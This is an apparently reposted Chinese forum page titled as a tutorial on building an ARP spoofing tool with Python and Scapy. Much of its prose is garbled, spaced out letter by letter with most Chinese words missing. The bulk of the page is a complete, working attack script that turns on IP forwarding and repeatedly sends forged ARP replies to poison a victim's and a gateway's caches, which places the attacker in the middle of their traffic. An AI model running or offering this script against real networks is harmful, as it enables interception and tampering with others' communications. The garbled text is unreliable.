[28482] 2020-08-06_使用Python中的Scapy构建ARPSpoofer工具

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2020-08-06_使用Python中的Scapy构建ARPSpoofer工具 使 P y t h o n S c a p y A R P   S p o o f e r O t s   2 0 2 0 - 0 8 - 0 6 A R P A R P 使 P y t h o n I n t e r n e t A R P A R P I P A R P I P
A R P   S p o o f / H T T P /
P y t h o n S c a p y I P I P I P p y t h o n W i n d o w s I P U n i x   /   p r o c   /   s y s   /   n e t   /   i p v 4   /   i p _ f o r w a r d   r o o t 访 1 W i n d o w s     s e r v i c e s . p y I P f r o m   s c a p y . a l l   i m p o r t   E t h e r ,   A R P ,   s r p ,   s e n d i m p o r t   a r g p a r s e i m p o r t   t i m e i m p o r t   o s i m p o r t   s y s d e f   _ e n a b l e _ l i n u x _ i p r o u t e ( ) :         " " "         E n a b l e s   I P   r o u t e   (   I P   F o r w a r d   )   i n   l i n u x - b a s e d   d i s t r o         " " "         f i l e _ p a t h   =   " / p r o c / s y s / n e t / i p v 4 / i p _ f o r w a r d "         w i t h   o p e n ( f i l e _ p a t h )   a s   f :                 i f   f . r e a d ( )   = =   1 :                         #   a l r e a d y   e n a b l e d                         r e t u r n         w i t h   o p e n ( f i l e _ p a t h ,   " w " )   a s   f :                 p r i n t ( 1 ,   f i l e = f ) d e f   _ e n a b l e _ w i n d o w s _ i p r o u t e ( ) :         " " "         E n a b l e s   I P   r o u t e   ( I P   F o r w a r d i n g )   i n   W i n d o w s         " " "         f r o m   s e r v i c e s   i m p o r t   W S e r v i c e         #   e n a b l e   R e m o t e   A c c e s s   s e r v i c e         s e r v i c e   =   W S e r v i c e ( " R e m o t e A c c e s s " )         s e r v i c e . s t a r t ( ) d e f   e n a b l e _ i p _ r o u t e ( v e r b o s e = T r u e ) :         " " "         E n a b l e s   I P   f o r w a r d i n g         " " "         i f   v e r b o s e :                 p r i n t ( " [ ! ]   E n a b l i n g   I P   R o u t i n g . . . " )
西 使 M A C 使 S c a p y s r p A R P A R P I P I P I P A R P I P M A C A R P A R P                 p r i n t ( " [ ! ]   E n a b l i n g   I P   R o u t i n g . . . " )         _ e n a b l e _ w i n d o w s _ i p r o u t e ( )   i f   " n t "   i n   o s . n a m e   e l s e   _ e n a b l e _ l i n u x _ i p r o u t e ( )         i f   v e r b o s e :                 p r i n t ( " [ ! ]   I P   R o u t i n g   e n a b l e d . " ) d e f   g e t _ m a c ( i p ) :         " " "         R e t u r n s   M A C   a d d r e s s   o f   a n y   d e v i c e   c o n n e c t e d   t o   t h e   n e t w o r k         I f   i p   i s   d o w n ,   r e t u r n s   N o n e   i n s t e a d         " " "         a n s ,   _   =   s r p ( E t h e r ( d s t = ' f f : f f : f f : f f : f f : f f ' ) / A R P ( p d s t = i p ) ,   t i m e o u t = 3 ,   v e r b o s e = 0 )         i f   a n s :                 r e t u r n   a n s [ 0 ] [ 1 ] . s r c d e f   s p o o f ( t a r g e t _ i p ,   h o s t _ i p ,   v e r b o s e = T r u e ) :         " " "         S p o o f s   ` t a r g e t _ i p `   s a y i n g   t h a t   w e   a r e   ` h o s t _ i p ` .         i t   i s   a c c o m p l i s h e d   b y   c h a n g i n g   t h e   A R P   c a c h e   o f   t h e   t a r g e t   ( p o i s o n i n g )         " " "         #   g e t   t h e   m a c   a d d r e s s   o f   t h e   t a r g e t         t a r g e t _ m a c   =   g e t _ m a c ( t a r g e t _ i p )         #   c r a f t   t h e   a r p   ' i s - a t '   o p e r a t i o n   p a c k e t ,   i n   o t h e r   w o r d s ;   a n   A R P   r e s p o n s e         #   w e   d o n ' t   s p e c i f y   ' h w s r c '   ( s o u r c e   M A C   a d d r e s s )         #   b e c a u s e   b y   d e f a u l t ,   ' h w s r c '   i s   t h e   r e a l   M A C   a d d r e s s   o f   t h e   s e n d e r   ( o u r s )         a r p _ r e s p o n s e   =   A R P ( p d s t = t a r g e t _ i p ,   h w d s t = t a r g e t _ m a c ,   p s r c = h o s t _ i p ,   o p = ' i s - a t ' )         #   s e n d   t h e   p a c k e t         #   v e r b o s e   =   0   m e a n s   t h a t   w e   s e n d   t h e   p a c k e t   w i t h o u t   p r i n t i n g   a n y   t h i n g         s e n d ( a r p _ r e s p o n s e ,   v e r b o s e = 0 )         i f   v e r b o s e :                 #   g e t   t h e   M A C   a d d r e s s   o f   t h e   d e f a u l t   i n t e r f a c e   w e   a r e   u s i n g                 s e l f _ m a c   =   A R P ( ) . h w s r c                 p r i n t ( " [ + ]   S e n t   t o   { }   :   { }   i s - a t   { } " . f o r m a t ( t a r g e t _ i p ,   h o s t _ i p ,   s e l f _ m a c ) ) d e f   r e s t o r e ( t a r g e t _ i p ,   h o s t _ i p ,   v e r b o s e = T r u e ) :         " " "         R e s t o r e s   t h e   n o r m a l   p r o c e s s   o f   a   r e g u l a r   n e t w o r k
s p o o f       C T R L   +   C L i n u x         T h i s   i s   d o n e   b y   s e n d i n g   t h e   o r i g i n a l   i n f o r m a t i o n s           ( r e a l   I P   a n d   M A C   o f   ` h o s t _ i p `   )   t o   ` t a r g e t _ i p `         " " "         #   g e t   t h e   r e a l   M A C   a d d r e s s   o f   t a r g e t         t a r g e t _ m a c   =   g e t _ m a c ( t a r g e t _ i p )         #   g e t   t h e   r e a l   M A C   a d d r e s s   o f   s p o o f e d   ( g a t e w a y ,   i . e   r o u t e r )         h o s t _ m a c   =   g e t _ m a c ( h o s t _ i p )         #   c r a f t i n g   t h e   r e s t o r i n g   p a c k e t         a r p _ r e s p o n s e   =   A R P ( p d s t = t a r g e t _ i p ,   h w d s t = t a r g e t _ m a c ,   p s r c = h o s t _ i p ,   h w s r c = h o s t _ m a c )         #   s e n d i n g   t h e   r e s t o r i n g   p a c k e t         #   t o   r e s t o r e   t h e   n e t w o r k   t o   i t s   n o r m a l   p r o c e s s         #   w e   s e n d   e a c h   r e p l y   s e v e n   t i m e s   f o r   a   g o o d   m e a s u r e   ( c o u n t = 7 )         s e n d ( a r p _ r e s p o n s e ,   v e r b o s e = 0 ,   c o u n t = 7 )         i f   v e r b o s e :                 p r i n t ( " [ + ]   S e n t   t o   { }   :   { }   i s - a t   { } " . f o r m a t ( t a r g e t _ i p ,   h o s t _ i p ,   h o s t _ m a c ) ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         #   v i c t i m   i p   a d d r e s s         t a r g e t   =   " 1 9 2 . 1 6 8 . 1 . 1 0 0 "         #   g a t e w a y   i p   a d d r e s s         h o s t   =   " 1 9 2 . 1 6 8 . 1 . 1 "         #   p r i n t   p r o g r e s s   t o   t h e   s c r e e n         v e r b o s e   =   T r u e         #   e n a b l e   i p   f o r w a r d i n g         e n a b l e _ i p _ r o u t e ( )         t r y :                 w h i l e   T r u e :                         #   t e l l i n g   t h e   ` t a r g e t `   t h a t   w e   a r e   t h e   ` h o s t `                         s p o o f ( t a r g e t ,   h o s t ,   v e r b o s e )                         #   t e l l i n g   t h e   ` h o s t `   t h a t   w e   a r e   t h e   ` t a r g e t `                         s p o o f ( h o s t ,   t a r g e t ,   v e r b o s e )                         #   s l e e p   f o r   o n e   s e c o n d                         t i m e . s l e e p ( 1 )         e x c e p t   K e y b o a r d I n t e r r u p t :                 p r i n t ( " [ ! ]   D e t e c t e d   C T R L + C   !   r e s t o r i n g   t h e   n e t w o r k ,   p l e a s e   w a i t . . . " )                 r e s t o r e ( t a r g e t ,   h o s t )                 r e s t o r e ( h o s t ,   t a r g e t )
A R P M A C   1 9 2 . 1 6 8 . 1 . 1 0 5 C T R L   +   C M A C S c a p y H T M L J a v a S c r i p t D N S A R P 使 使 使

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则